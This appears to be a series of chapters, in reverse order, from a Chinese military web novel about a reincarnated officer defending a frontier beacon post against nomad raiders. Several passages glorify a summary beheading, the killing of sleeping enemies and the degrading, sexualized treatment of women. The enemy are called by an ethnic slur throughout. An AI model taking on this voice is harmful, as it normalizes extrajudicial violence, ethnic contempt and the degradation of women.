为了在张寡妇面前,摆起一副男人气概来,张由甲硬着头皮,吼道:“就是前什长大人高五,也不能随便打骂我等几个,你一个奴籍兵卒,还是靠我们哥几个举荐,才坐上这个什长位子,你不知感恩,居然还恩将仇报?”
面对张由甲的指控,叶十三不但没怒,而且还笑了。
“砰!”
叶十三是没怒,但一向不爱说话的闷葫芦李富贵却怒了,照准张由甲的腰眼就是一脚。
“哎呀呀!”
张由甲疼得张大了满是血污的大嘴,杀猪般地吼道:“好你个兔崽子,翅膀硬了不是?敢打老子,老子要……”
话没说完,看到叶十三眸子里暴起的寒芒时,张由甲不由得浑身一哆嗦。
这眼神,是要杀人的征兆。
张由甲的发狂,更激得叶十三下定了杀他决心。
要是张由甲这时候跪下来求饶,承认自己所犯的错误,事情或许还有一丝转机。
蠢就蠢在这个老兵油子,居然在一个女人面前,被打肿了脸,还上赶着充起了胖子。
叶十三懒得和这种人废话。
目光一扫马成和丁威,缓缓说道:“军纪都清楚吧!”
“什长大人,小的们都清楚,烽燧兵玩忽职守,死罪!”
二人异口同声,回答得干脆利落。
“那好!”
背着双手的叶十三,点点头又道:“大敌当前,如此玩忽职守,带到昨夜御敌的地方,斩首祭旗,以明我黄羊岘烽火台抗敌之志。”
说完,叶十三把目光投向地上趴着的张由甲,淡淡又道:“放心好了,我会向上面报战损的,会给你的家人争取一份抚恤金的。”
战损?
当初的损招,这一下用在了自己身上。
真可谓是报应来得太快,让张由甲接都接不住。
“饶命啊……什长大人……”
一阵肝胆俱裂的张由甲,这时候才感觉到事态的严重性。
迟了!
一切都迟了。
只见叶十三眼里寒芒闪过,吼道:“带出去,祭旗明志。”
“是!”
丁威和马成,神情顿时一凛。
二人上前,一左一右架起已经被吓得魂飞魄散的张由甲,直接就出了通道向远处的崖顶疾驰而去。
“饶命啊什长大人……”
张由甲的求饶声渐行渐远,叶十三收回视线,缓缓看向火塘边已经穿好了衣服的张寡妇。
冷瞥一眼,道:“你非军中之人,本什长不便对你军法处置,但屯田村也非法外之地,自有人对你做出决断!”
说完,叶十三目光看向李富贵,道:“押她去屯田村,交由徐佥事处置。”
“是。”
李富贵面颊一抽,大步上前,铁钳一样的一只大手,握着张寡妇的一只脚腕就往外拖。
“军爷,民妇知错……”
方才还有恃无恐,在张由甲疯狼一样撕扯下,浪叫了一夜的张寡妇,此时一股腥臊的老尿,顺着大腿就流了一地。
本已对张寡妇行径司空见惯的李富贵,这时也怒火中烧,一阵用力拉扯下,差点让这个放荡不羁的寡妇的胯骨分了家。
“军爷,慢点啊,民妇的腿都断了!”
母狼一样嚎叫起来的张寡妇,手足一阵乱蹬之下就站了起来,低下头来乖乖的就往外走。
这一情景,直接把烽火台上偷懒睡觉的张发,也给吓尿了。
叶十三来了没几天,已经处决了一半的人。
这个奴籍兵卒,太他娘的可怕了。
第27章 迎头痛击
这一喊,惊得丁威手里的半颗山药蛋都掉了。
顺着李富贵所指,刚黑下来的夜色中,从元蒙境内,点点火把影约可见,宛若一条长龙向这边移动。
“果然来了!”
叶十三嘴角扬起一丝笑意,沉声道:“不要慌,应该是来犯之敌,绝非是鞑子牧民夜间赶路。”
“听好了!”
走出窝棚,叶十三又道:“若是鞑子兵真从此处攀岩,不可过早惊动他们。”
这个不用说,游击出身的步弓手们,知道如何去应对攀岩偷袭的敌人。
要是行动早了,被敌人发现,敌人会放弃攀岩偷袭的战术。
只有等敌人攀到中途,突然对敌人采取致命的袭击,滚石就是最好的武器。
其次就是强弩,可以射杀不同角度来袭的敌人。
如果敌人损伤过半,觉得此战术已经获胜无望,则会迅速撤退。
这些老兵油子,虽然说单兵作战的能力远不如元蒙鞑子的骑兵,但在这种一夫当关万夫莫开的天险环境,那可是不用特别的交代,就能让来袭的元蒙鞑子吃尽苦头。
“快看!”
目不转睛盯着远处的李富贵,压低了声音又道:“果然是前来复仇的鞑子,目标真是这处豁口。”
叶十三看到,隐隐约约的火把,此时已经连接成了一条长龙,以最快的速度向这边移动过来。
“沉住气!”
听到身边人的呼吸粗重起来,叶十三轻声又道:“先用滚石,再放弩箭。”
“明白!”
马成应了一声,然后准备投掷石头下去。
火把的轮廓越来越清晰,隐约可见高举着火把的鞑子身影。
“他们真是步卒,没有出动骑兵?”
张弓搭箭的丁威,也发现了端倪。
叶十三摇摇头,道:“是骑兵,只是弃马步行而已,他们知道,要是骑马来犯,扬尘太大反而影响自己人的视线,这次他们学贼了,知道轻兵简行才最有利偷袭。”
要不是叶十三的年龄和身份,这些烽燧兵的步弓手们,打死都不会相信叶十三没有当过兵。
如此老辣的作战经验,令他们这些老兵油子都自叹不如。
“注意了!”
叶十三又是一声提醒。
火把越来近,从蜿蜒长龙形状变成了一字排开。
片刻间,横过来的一字队形,又迅速变成了三排。
“他们准备攀登了,不要慌,等接近我们一丈距离时再出击。”
叶十三蹲了下来,尽量不让自己的身体露在毫无遮拦的位置。
尽管他们所处的位置漆黑一片,但叶十三还是极力做到万无一失。
铁器撞击在石块上的声音,清晰地传了上来。
不用说,这是元蒙鞑子用的攀岩工具,用铁器插进砂质崖壁,然后两手交替向上攀行。
应该说,是有元蒙鞑子的探马,已经勘察过这边的地形了的。
“叮当……”
撞击声越来越清晰,越来越近。
粗重的喘息声,也随即传到叶十三四人的耳中。
“滚石出击!”
突然,叶十三站了起来,率先举起一块牛头大的巨石,上前一步就从豁口扔了下去。
李富贵和马成也行动起来,轮番向预定的位置狂扔石头。
“啊……”
一声声撕心裂肺的惨叫,霎时就划破了夜空的宁静。
“嗖嗖……”
掩体一侧的丁威,瞅中火把照映下的最近目标,接连放了几箭。
滚石呼隆隆地从崖体的豁口处不断地落下,一声高过一声的惨叫更是起伏不断。
可以清晰的看到,方才还比较整齐的火把阵型,霎时就乱做了一团。
坠地的火把,引燃了地面上的枯草,不断扩大的火光中,乱做一团的鞑子步兵们开始后退。
不一会,聚集在崖下的火把,在一片乱叫中逐渐远去……
“撤退了?”
扔石扔得双臂酸麻的马成,一屁股坐在地上,大口喘着粗气道:“可真是悬乎,要不是什长大人有远见,就方才那拨人,若是从这处攀越成功,一举攻向烽火台的话,我们别说狙击了,就是逃命都没有机会的。”
“好险!”
丁威拿袖口擦了一把脸上的汗,心有余悸地不断向崖下观望着。
“短期内,他们不敢轻举妄动了。”
李富贵走了过来,半躺在一处平坦的石头后面,紧张得不知道说什么才好?
忽然,李富贵又坐了起来,担心道:“要是这些步卒吃了大亏后,改用骑兵进犯岘口呢?”
是啊!
攀岩偷袭不成,可以利用他们的传统优势,派出骑兵直接进犯岘口该如何是好?
“呵呵!”
叶十三笑了,摆手道:“偷袭都被伏击,这证明我们的防范是很全面的,岘口如此重要的位置,能不设重兵把手?”
没错!
既然第一次能击溃来犯之敌,而且第二次又是主动出击,这第三次又设伏狙击了攀岩偷袭的步卒,谁敢再轻易进犯岘口那种更加重要和明显的地方?
“李富贵的判断没错!”
黑暗中的叶十三,肯定地点点头,道:“撤退回去的鞑子步卒,定会打消短期内进犯我大夏的念头,而是暂且把防守放在首要日程上,就怕我大夏兵马趁胜向元蒙宣战。”
此言一出,三人心中的石头终于落地。
回到窝棚后,叶十三这才说道:“生火,烤肉。”
吃了一肚子烤山药蛋的步弓手们,顿时一阵兴奋,把带来的木柴拢在一个小坑中,点燃后再把没怎么动口的那些烤肉,重新架在柴火上烧烤了起来。
冬月的北漠,冷得不是一般。
又是在高处,寒风就像刀子一样割得人脸生疼。
有了一小堆火,寒气的力度自然就弱了许多。
“说实话,自当兵以来,从来没有像今夜这么痛快过!”
扯了一口烤肉的马成,不禁感慨起来。
“是啊!”
丁威把一块羊骨头举到嘴边又停了下来,接着马成的话说道:“之前,封燧兵就是最窝囊的兵,现在,放眼全军,谁他娘的敢小看咱?”
平时话很少的李富贵,也激动起来说道:“谁他娘的要是不服,鞑子兵多的是,无论是步卒或者骑兵,叫他们去杀就是。”
“成了!”
叶十三狠劲地咽下一块烤肉,沉声说道:“尽管鞑子今夜再犯的可能性很小,但我们不能轻心大意,吃饱了别熄火,轮流值守,轮流睡觉。”
“什长大人,您先睡,我哥仨不困,有我三人值守就行了,您尽管放心睡吧!”
马成的机灵,可真是到了炉火纯青的地步。
再任何时候,他都能找准拍马屁的时机。
第26章 伏击
这里人谁都知道,黄羊岘烽火台的重要性。
但大家都明白,如果没有叶十三在,鞑子来了,这些人肯定一哄而散。
叶十三,就是所有人的主心骨。
元蒙鞑子接连两次受创,报复,绝对是少不了的。
何时来?
这只是个时间问题。
烽燧兵知道这些,田兵们更懂其中利害。
抱团,就是最好的选择。
烽火台照样留两人值守,叶十三带着剩下的三人,策马来到黄羊岘一侧的崖顶上。
崖角一直延伸到烽火台,是一道阻隔大夏与元蒙的天堑。
从烽火台,可以瞭望到黄羊岘的岘口一带。
但上到崖顶,可以窥到元蒙境内更加广阔的地貌。
“都给我看好了!”
叶十三下了马,攀上一处陡峭的高地,指着一处豁口道:“此处最易攀爬,如果有鞑子从此处攀岩而上,可顺着我们方才的来路,直捣烽火台要塞。”
身后累得气喘吁吁都马成,附身向下面看了看,道:“此处十分险要,鞑子擅长马战,定会派骑兵从岘口攻入。”
“没错,鞑子骑兵不可能放弃自己的优势,而采取这种步卒的进攻方式。”
丁威也看出了地势的利弊,也点头称是,爬了上来和马成保持一致的观点。
只有李富贵皱着眉头,观察了片刻,道:“什长说得有道理,鞑子骑兵已经吃过一次拦马刺的亏,万一他们不走岘口,采取攀岩偷袭的战术,直接会把我们六人困死在烽火台上。”
经李富贵如此一说,马成和丁威,也是默默点头。
这这一点上,能达成共识。
加上才袭击了一次鞑子的牧场,又杀了不少的鞑子骑兵。
这口气,鞑子是咽不下的。
没有立即采取报复,只能说是元蒙鞑子们还没想好一个十分可行的办法。
因为战损如此之大,元蒙鞑子更不敢像以前那样通行无阻,只有把战术放在第一位来考虑。
叶十三举目远眺,淡淡道:“今夜起,在此处搭窝棚值守。”
此言一出,马成大惊。
“什长大人,您是说?鞑子会在今夜突袭我烽火台?”
“嗯!”
叶十三点点头,又道:“如果换作我,我也会趁对方得意忘形之际,派兵攀岩突袭,要是一举得手,再由大股的骑兵从岘口杀进来洗劫屯田村。”
“对呀!”
丁威一拍脑袋,急道:“我如何没想到这一点?”
马成也明白过来,笑道:“还真是,换作是我,我也会采取这个战术。”
“看来,都明白了?”
背着双手的叶十三,拧起嘴角笑道:“那好,听令。”
“马成,速去屯田村,让徐老六带上百十人,晚上值守在岘口工事外围,若有敌袭,燃火喊杀震慑鞑子骑兵就可,不可正面与之交战。”
“丁威,组织几个木匠,带上木棒树枝,来此处搭建一所暗哨窝棚。”
“李富贵,帮助何秀儿即刻准备我等几人够吃一天的干粮。”
叶十三一口气把心中的部署,全部交代了个清楚。
待三人分头去行动,他又开始目测豁口高度的方位和距离。
他料定,元蒙鞑子今夜突袭黄羊岘烽火台的可能性很大。
再是四肢发达,头脑简单,也会采取这种出其不意的方式来攻其不备。
叶十三是谁?
那可是前世现代军事指挥学院的高才生。
“特种兵”一词,在古代的字典里那可是没有的。
但稍有军事常识的人,哪怕是一个游击,都不会放过采用步卒来攀岩突袭的战术。
吃了那么大的亏!
损失了如此多的骑兵!
丢失了粮食和牛羊,还有战马的鞑子们,能忍住这口气?
不能!
骄横凶残的元蒙鞑子,是咽不下这口窝囊气的。
眼下的风平浪静,只是他们还没有想好更好的战术。
被杀那么多人,震惊的元蒙鞑子们不得不重新思考。
大夏的军队不是不堪一击,而是他们以往没有遇上更凶悍的对手而已。
今天这个对手出现了。
烽燧兵叶十三,一个奴籍兵卒,成了他们做不完的噩梦。
叶十三如此想着,开始爬上爬下的勘察起来。
终于,他在豁口的一侧,瞅准一处适合伏击的地方。
从预选的窝棚暗哨,到这处伏击点,一侧山石犬牙交错。
就是没有山石突兀的地方,也有丛生的灌木足矣用来隐蔽。
陡峭的豁口下面,是长期落石形成的乱石滩。
若是有人从攀上豁口,再掉落下去,无疑就会被摔成一堆肉泥。
脚下这些牛头大的石头,要是清理出一条通道,那么从窝棚暗哨到伏击点这三丈远的距离,夜间行走就会更顺畅一些。
那些挡路的山石,正好用来做滚石用,只需搬运到豁口一侧就成。
叶十三拿出了足够的耐心,开始一块块搬运那些绊脚的石头。
此时,日头已经西斜。
根据他对地形的勘察,加上对元蒙鞑子的分析,他断定鞑子若是报复,这里就是首选的突袭之路。
不多时,帮工来的木匠,很快在一块凹进去的山崖处搭建了一处遮风御寒的窝棚。
三把改进过的强弩,整齐地摆放在地上。
成捆的羽箭,分成三份各放在一支强弩旁边。
由于时间紧张,未能磨成面粉的麦子,是无法做干粮的。
十来个从牛粪火堆里扒出来的山药蛋,也被堆放在窝棚里面。
半只烤得还残留着血水的羊,被大卸八块后装在一只篮子里。
待木匠们离开不久,天色就黯淡下来。
“抓紧吃饭!”
叶十三望着还冒着血水的羊肉,强忍着没让自己胃里还没消化干净的午饭泛上来。
“要是再烤烤就好了!”
留意到这一幕的马成,准备拢一堆火来,把那些不足三成熟的羊肉,再继续烤烤。
“胡闹!”
不料叶十三发觉了马成的举动,霎时就拉下脸来斥道:“准备干粮的目的,就是此地不能生火,一旦生火造饭,那么鞑子就会老远看到,他们还会选择这有人值守的地方突袭吗?”
“什长大人,是小的肤浅了。”
马成脸上一红,讪讪地就又坐了下来。
就在四人刚把一堆食物消耗掉一半的时候,坐在窝棚最边缘的李富贵突然惊道:“快看,有鞑子!”
第25章 他们岂能不跪
一打照面,身为佥事的徐老六,居然给叶十三跪了。
“叶什长,您真劫了鞑子的大营?”
说着,徐老六的一双眼睛,不可置信地望向营房院子里的牛羊和马匹。
在田兵的眼里,就是北防军的常规部队,也不敢主动去冒犯鞑子骑兵。
这一个小小的奴籍烽燧兵,居然带了三名兵卒就去虎口拔牙。
“徐佥事谬赞了!”
叶十三摆摆手,谦虚道:“谈不上劫什么大营,就是一小股驻军和边民的牧场而已。”
元蒙鞑子和大夏汉人不同,他们主要是以放牧为生,人人能骑善射,也可以说是全民皆兵。
元蒙鞑子的男丁,战时就是士兵,闲时就是牧民,并没有服兵役一说。
“什长大人如此神勇,可真是为我田兵和边民出了一口恶气啊!”
饱受鞑子骑兵骚扰的田兵,得知烽燧兵劫了鞑子的牛羊财物,一个个振奋不已。
“是这样!”
面对激动不已的徐老六,叶十三一指拴着的马匹,豪爽道:“那些驮马,能骑乘,也能拉车,就归你们了。”
“还有,那些牛也是,你们赶回去,调教好了还能耕田用。”
“羊留这边喂养起来也是个麻烦,分你们一半,也好让村里老小打打牙祭。”
叶十三目光一扫营房院子,又是补充了一句。
敢潜入元蒙地界,抢劫鞑子的牛羊的人,无疑是吃了熊心豹子胆的。
可叶十三连稀汤都喝不了个饱肚,冒着九死一生的危险抢来这么些东西,又慷慨得大手一挥就送给他这些田兵。
“小的们谢过什长大人恩典!”
和徐老六同来的几个田兵,慌忙就在地上又跪了。
“什长大人就是我们的再生父母啊!”
这年头,有粮食就能活命,何况叶十三给的还是活生生的牛羊。
牛羊吃草,生生息息又能繁衍出不少牛羊来。
面对如此大恩,他们岂能不跪?
田兵们的这一跪,更让两个女人看到了一线生机。
“民女恳请什长大人收留!”
个头高一点的女人,接着就也跪了下来。
一看同伴跪了,另一个稍矮一点的女人也紧着跪下说道:“只要什长大人给口饭吃,让小女子干任何事都行。”
“什长大人,您就发发慈悲吧!”
高个女人仰起脸来,又是一句可怜巴巴的恳求。
“洗衣做饭,什长大人让小女子干什么?小女子就干什么!”
稍矮一点女人,也急忙恳求不止,生怕别别人抢占了先机。
叶十三这才看到,梳洗了一番的这俩女人,年纪最大也就二十出头。
洗净了脸上的污垢后,居然还有几分姿色。
只要给口吃的,想让她们干什么,她们就得干什么?
眼下,烽火台的人手是少了些。
做饭洗衣,倒也用得上。
而且还有几匹战马和这群羊需要有人添草喂料。
但多了两人,就等于多了两张吃饭的口。
那得用粮食才能填坑啊!
若不是饥荒逼到了这个份上,哪个年轻女人会这么下贱?
“都起来吧!”
叶十三扬扬手,转头道:“先吃饭,其他的先不说了。”
热气腾腾,又喷发着肉香的麦仁抓饭被端了上来。
徐老六和田兵们客套一番,狼吞虎咽地吃了一顿饱饭后,留下两名帮忙干杂活的田兵后,这才千恩万谢地牵上马匹,赶着那些牛羊,欢天喜地的就离开了营房大院。
在营房里,叶刘氏和彩儿吃相还比较雅致,丝毫不像田兵们那般狼吞虎咽。
“你们也吃吧!”
叶十三的目光,一扫候在一旁早已涎水汩汩的两个女人,扬手又道:“你们家里人都同意了?”
“回大人话!”
高个的女子抬起头来,把塞得满嘴的一口饭吞咽下去后道:“小女子蔡一,母亲已经饿死了,父兄在牧区替别人放牧,小女子自己能做主。”
“你呢!”
叶十三把目光,又投向埋头吃饭的另一女子。
“什长大人,小女子何秀儿,今年刚满十七,去年秋月鞑子兵前来抢粮,未婚夫被鞑子兵杀了,家中只有一个年迈的爹爹……”
“哥哥,两位姐姐都挺可怜的,你就收留了她们吧!”
彩儿向叶十三仰起脸,也替两个女人求情。
叶刘氏狠瞪彩儿一眼,转眼就想到双目失明的彩儿是看不到她的眼神。
“彩儿闭嘴,不得干涉你兄长的军务。”
叶刘氏只好严厉斥责自己的女儿,让她不要瞎掺和。
谁都心里清楚,留一个人下来,那可是要拿出一份口粮的。
眼下虽然了抢了鞑子的一些粮食和牛羊,但要让更多的人活命,那也只是杯水车薪,丝毫顶不了大用。
无疑,这是一个难题。
善于察言观色的马成,斜眼一瞥两个颇有姿色的女人,一脸坏笑地凑在叶十三耳边,低声道:“大人,此二人颇有味道,比张寡妇那个烂货要强上百倍……”
“闭嘴!”
话还没说完,马成就吃了一瘪,讪笑着就去喂马。
但马成方才的话,又提醒了叶十三。
老娘腿脚不利,妹妹又是眼盲。
再说已经没有去做那些织毡拧绳的活计,但日常生活还是有着诸多的不便。
叶十三复又把目光,停在蔡一的脸上。
“烽火台此乃军事重地,本无女子能干的事,你若不嫌弃,留在沙窝照顾我的母亲和妹妹好了。”
“谢什长大人!”
蔡一闻言,赶忙又趴下来磕头。
望着一脸欣喜的蔡一,何秀儿可就失望至极。
饥荒环境中做个下人,都卷到如此程度。
“什长大人,求您行行好吧!”
万分沮丧的何秀儿,还是不愿放弃最后一丝希望,趴在地上把额头磕得“咚咚”直响,边磕着头边说道:“留着民女给大人您洗衣做饭,烧炕暖被窝都成,只要有一口饭吃,民女愿意……”
“行了!”
叶十三一阵头大。
眼下是缺人手,但那只是工事需要。
一个女人能做的,也就是脱了裤子滚大炕的事。
可眼下,在这些人的眼里,他这个小小的什长,就是他们眼里活命的稻草。
就连田兵中的佥事徐老六,也对他这个小什长毕恭毕敬。
敢杀鞑子,能杀死鞑子,而且还能抢鞑子的粮食和牛羊,这在北防军的常规部队,也找不出第二个来。
这个奴籍兵卒,就是他们活命的希望。
“这样吧!”
叶十三思忖片刻,终于开口又道:“你可以暂且留下,不过不用侍奉我,留在营房做饭,然后把饭送到烽火台就可。”
“谢什长大人,谢什长大人……”
待何秀儿再次抬头,仰起的面上已经是泪水涟涟。
第24章 她们求为娘给口饭吃
扑鼻的血腥味,瞬间就在旷野中弥漫起来。
方才还围成一圈的战马,此时嘶鸣着四散开来。
落地后的叶十三,又一个空翻,落在一匹已经没有骑士的马背上。
斜瞥一眼月光下满地的尸体,这才勒转马头,向马成他们撤退的方向狂奔而去。
不多时,天色微亮。
晨曦中不断有散落的牛羊,茫然地叫着。
叶十三放慢了马速,大声吆喝着,把散落的牛羊不断地赶在一起继续前行。
直到太阳升起的时候,叶十三的视线中,这才出现了马成他们。
“快看,是什长!”
押后的马成,激动得又一次差点栽下马背。
“真的是什长,还赶着牛羊。”
丁威也激动起来,勒停了胯下的战马,激动地向前面领头的张发大喊。
此时浑身被溅满了人血的叶十三,在太阳的照射下,就像一尊金色的天神立在马背上。
叶十三虽然被鞑子的血染成了血人,但他鞘中的那把刀,却是没沾上一丝血迹。
……
一路有说有笑的四人,午时已经到了黄羊岘的岘口。
进入岘口后,绕过壕沟,待来到宽阔地带,回头瞭望片刻,四人这才完全松了一口气。
望着地上直喘粗气的牛羊,和驮着粮食口袋的马群,叶十三把视线投向屯田村方向。
“张发听令,立刻去找徐老六,让他带几个人过来。”
“遵命!”
马背上趴着的张发,直起身子应答一声,扬起手中的绳索狠狠抽向胯下的战马屁股,两腿一夹马肚,向着屯田村的方向疾驰而去。
“兄弟们,先把牲口都归拢到营房再说。”
叶十三思忖片刻,就做出了回营房的决定。
到了营房,这才开始请点战利品的数量。
“禀什长大人,驮马二十六匹,粮食五十二袋,加上我们骑回来的,还有跟过来的,战马共九匹。”
清点完马匹的马成,面带喜色就向叶十三报告战况。
院子那头,丁威也数完了牛羊,一溜烟跑到叶十三面前,喜滋滋说道:“大人,牛三十三头,羊七十五只,就剩这些了,原本比这还多,半路上跑掉了不少……”
“行了!”
叶十三大手一摆,大大咧咧说道:“先挑几只体弱的羊宰了,再煮一大锅干饭,老子这阵子饿得都想吃人!”
一说饿,马成和丁威的喉结,不自主地蠕动了一下。
他们,早都饿了。
只是在极度的紧张和恐惧中,感觉不到饥饿而已。
一袋粮食三升,每匹马驮两袋,二十六匹驮马,也就是一百五十六升粮食到手了。
按照给他们军粮的发放标准,每人每月两升糙米,换成麦子粮,每人可得三升。
眼下烽火台六人编制,这大半年的口粮是有了。
加上有牛羊可宰食,那肚里的油水可就足了。
叶十三的这一声令下,马成和丁威就立刻分头行动起来。
马成赶忙拿起一把尖刀去宰羊。
丁威抱起柴火,以最快的速度先煮了一壶茶,然后在一口大锅里煮起了麦仁饭。
麦子要磨成面才可以吃,但对叶十三他们来说,只要是能填肚子,磨不磨成面粉都行,煮熟了就能顶一顿饭。
就在这时候,徐老六还没到,叶十三他娘拄着拐子,牵着他的瞎子妹妹彩儿来了。
在他娘和彩儿的身后,还跟着两个衣衫褴褛的女人。
“娘,彩儿!”
刚把一口滚烫的茶水喝进嘴里,差点又喷出来的叶十三,望着营房门口喊道:“您这是怎么了?”
“儿啊!”
叶刘氏脸上一阵尴尬,回头瞥了一眼身后跟着的两个年龄、高矮都差不多的女人,这又向叶十三说道:“她们,硬求着娘给她们一口饭吃,你看看,娘哪有赏她们一口饭的能耐啊!”
草!
这是唱哪出啊?
两个蓬头垢面的女人,趁着叶刘氏和叶十三说话的空子,抢先进了营门,各自抱起一捆柴火就去帮厨填柴。
也许,她们是闻到了食物的味道。
“唉!”
叶刘氏叹息一声,冲着叶十三歉意地说道:“都是饿的。”
“哎哎哎!”
从库房出来的丁威,看到两个女人围着大锅忙乱,急得大喊道:“什么人?营房是你们随便能闯的吗?”
再看到走来进来的叶刘氏和彩儿,丁威变戏法一样地又换了一副面孔,讪笑道:“老夫人和小姐到了,快请坐下喝茶。”
“民妇给军爷添麻烦了!”
叶刘氏在叶十三搬过来的椅子上坐了,歉意地又向叶十三说道:“说是那边村里的,都断炊好几天了,不知听到了何等传言,死活求着为娘赏她们一口饭吃。”
“娘,您喝茶!”
“彩儿也坐,肚子饿了吧?”
叶十三把彩儿也拉到椅子上坐了。
瞥了一眼两个行迹狼狈的女人,摇摇头再没说话。
给铁锅低下猛添了一通柴火的两个女人,突然看到在营房院子墙角里宰羊的马成。
“快看,他在杀羊!”
惊喜地叫一声后,愣了一下的两个女人,即刻又跑到马成面前,七手八脚地就帮着剥起羊皮来。
“什长大人,这?”
眉头一皱的丁威,目光投向叶十三脸上再等指令。
“由她们去吧!”
叶十三摆摆手,摇头道:“等会饭煮好了,给她们吃饱后打发走就是了。”
“哥哥,我听到有好多牛羊,还有马的声音。”
一直在极力捕捉着周围动静的彩儿,耸耸鼻子,兴奋地把脸转向叶十三。
“是,哥哥我抢了鞑子的牛羊和马匹,还有粮食。”
叶十三回答得轻描淡写,丝毫没看到叶刘氏被惊吓得差点从椅子上滑到地上。
“有了粮食和牛羊,我们就能挨过这个冬天。”
叶十三两眼茫然地望着营房外面,心里想着的却是军部的嘉奖。
这已经几天过去了,军部那边至今还没有丝毫的动静。
“去去去,哪里来的叫花子,脏兮兮的别弄脏了羊肉。”
马成一边剥着羊皮,一边骂骂咧咧地驱赶着突然冒出来的两个女人。
他心里清楚,要不是缺吃,附近的村民是不敢轻易闯军营的。
从烽火台到营房,那是军事禁区。
也许是马成的这一骂,骂醒了这俩蓬头垢面的女人。
看到旁边有水盆,俩女人也顾不得冷水的刺骨,抢先抢后的就各自擦洗起自己的脸来。
还别说,这一阵急三忙四的捯饬之下,两人顿时就像换了个人一样。
仔细一看,五官模样还不难看。
只是长期的饥饿,一个个面孔略显蜡黄无神,但五官还是很清秀的。
听到马成那边的嚷嚷,彩儿也嘟囔道:“她们知道哥哥当了官,这才跑来求娘了。”
子荣母贵啊!
一个什长,压根就算不了什么官。
只是在军中有着管十个人的权限而已。
但在这些村民的眼里,能管着别人的,那就是官。
只要是个官,就是百姓头上的天。
知道一顿饭躲不了,马成不想让这些女人就此白蹭,招招手喊道:“都过来,既然什长大人赏你们两个一顿饱饭,这两张皮子都给我好好的揉搓干净了。”
马成把刚剥的羊皮,吩咐两个女人去清理干净。
虽然是女人,但干这些活也是轻车熟路。
“谢谢军爷!”
两个女人一脸欢欣,把两张羊皮里子朝上铺在地上,拿地上掉落的劈柴木片,把羊皮上面的血渍和油脂刮了个干净,然后抓起堆在墙角的草木灰,洒在羊皮上面使劲地揉搓起来。
马成把半只羊剁成小块,堆放在铁锅里煮着的麦子颗粒上面,盖好了锅后,屁颠颠跑到叶刘氏面前讪笑道:“两张羊皮,正好给老夫人和小姐做褥子用。”
还没完全从惊愣中回过神的叶刘氏,急忙说道:“使不得啊军爷,民妇有芦席的,怎敢再要军爷的羊皮做褥子。”
“娘!”
叶十三望着一脸不安的叶刘氏,笑道:“天寒地冻,有羊皮褥子,总比芦苇席子要热乎些。”
“哥哥真好,茅草屋四面漏风,夜里真是很冷的。”
彩儿可是高兴了,激动得一双手乱舞个不停。
就在这时候,张发带着徐老六几个来了。
第23章 谢谢诸位奉上脑袋让我试刀
“伍长,我怕。”
步弓手马成,平时和丁威关系最好,在摸到栅栏外的时候,不由得怯了起来。
“镇定,怕有卵用!”
丁威低吼一声,伏下身子借着月光观察起来。
片刻后,丁威低声道:“张发摸左边,我中间,马成右边,不要拉开太远,时刻保持及时接应的准备。”
从长长的一溜栅栏中,选择了几处木条稀疏的位置,三人分头跻身钻了进去。
叶十三这边,一只灯笼在营门口的旗杆上被风吹得晃来晃去。
圆木搭起来的哨塔上,两个鞑子哨兵抱着弯刀在打盹。
叶十三就像一个幽灵,顺着营门口的栅栏,猫着腰摸到哨塔下面,向四周瞄了几眼后,狸猫一样就从粗大的圆木上攀了上去。
一个被夜尿憋急了的满脸毛鞑子哨兵,摇摇晃晃地刚站起来,走的哨塔角上正准备一泄而快的时候,眼前突然出现了一条人影。
没等满脸毛哨兵睁大眼睛细看,“噗嗤”一声,一把烂铁条一样的刀,从他的心窝一直穿到后背。
好快的刀,叶十三的手感,就像竹片划进豆腐中的那般丝滑,丝毫没感觉出来有任何的阻碍。
来不及叫喊的满脸毛哨兵,一股血箭从背后的刀尖狂喷不止。
哗啦啦!
与此同时,满脸毛哨兵身前裤裆里的那玩意儿,也不甘寂寞地喷出一股尿水。
啥时间,骚臭的尿水味,热咸的血腥味在冷风中交织在一起弥漫开来。
“嗖!”
那把穿过满脸毛哨兵身体的刀,被叶十三抽了出来。
斜靠在圆木围栏上的满脸毛哨兵的身子,在人血狂喷中缓缓地滑落到在哨台上。
“咔嚓!”
又是一声脆响。
头都没回的叶十三,背过去的一只手,已经捏断了另一名鞑子哨兵的脖子。
草!
这么弱?
大出意外的叶十三,没想到鞑子哨兵会如此不堪一击。
连一声疼都没喊出来,稀里糊涂的就踏上了投胎的路。
叶十三把刀举在眼前,喃喃道:“还真是把好刀,居然滴血不沾。”
借着月光可以看到,黝黑的刀身上,浅浅的刃口依然银白一片,居然不沾一丝血迹在上面。
脸上扬起一丝满意和惊讶的叶十三,把刀插回刀鞘,然后把倒在哨台上的两具鞑子哨兵的尸体,又给扶了起来分别靠在围栏上立着。
“鸟人,看看你俩的那站相!”
叶十三望着一个仰着头,一个耷拉着脑袋的两名鞑子哨兵,嘴角一拧就溜下了哨塔。
还没摸到毡账连成一片的营房,就听到一片高低起伏不断的呼噜声,像六月的蛙鸣一样聒噪不息。
借着月光,叶十三就像一条鱼,在水中的石头缝中游走一样。
当他每从一顶毡帐中出来,震天的呼噜声就少了一些。
叶十三不停地在各毡帐间不断地游走着,方才还震耳欲聋的打鼾声,逐渐地就稀落了下来。
叶十三手中的刀,依旧干净如初,银白的刀刃上,还是不见一丝血迹。
“哞……”
“咩……”
月光突然在扑鼻的血腥味中黯淡了下来,眼前的景象顿时就像被一口巨大的黑锅罩住。
“秃噜噜……”
一阵牛羊的叫声,夹杂着马匹打着的响鼻声,让黑夜顿时变得诡异无比。
不多时,各种杂乱的响动,逐渐交织在一起,令方才死寂的地面陷入一阵混乱。
“敌袭,敌袭……有敌来袭……”
“呜——”
黑暗中一个身材魁梧的鞑子兵,惊恐万状地喊叫着从一顶毡帐中冲了出来,刚举起一支牛角号吹了一声就毫无动静了。
“咚!”
戛然而止的牛角号,掉在坚硬的地面上又弹起老高。
黑暗中一道寒光闪过的同时,一颗硕大的脑袋,骨碌碌滚落在地和牛角号挨在一起。
没有了脑袋的脖颈处,一股血箭冲天而起,然后在半空中洒下一片血雨。
紧接着,毡帐深处的区域,霎时就陷入一片混乱。
喊叫声,脚步声随即就响了起来。
隐去了月光的夜,又黑得不见五指。
咒骂声和踩踏声,一阵猛似一阵。
“呜呜呜……”
又有牛角号被吹响,火把也是一个接一个地亮了起来。
“有贼,是汉兵……”
一个狂奔中的鞑子兵话还没喊完,突然一头栽倒在地,手中的火把点燃了地上的枯草。
“哗啦啦……”
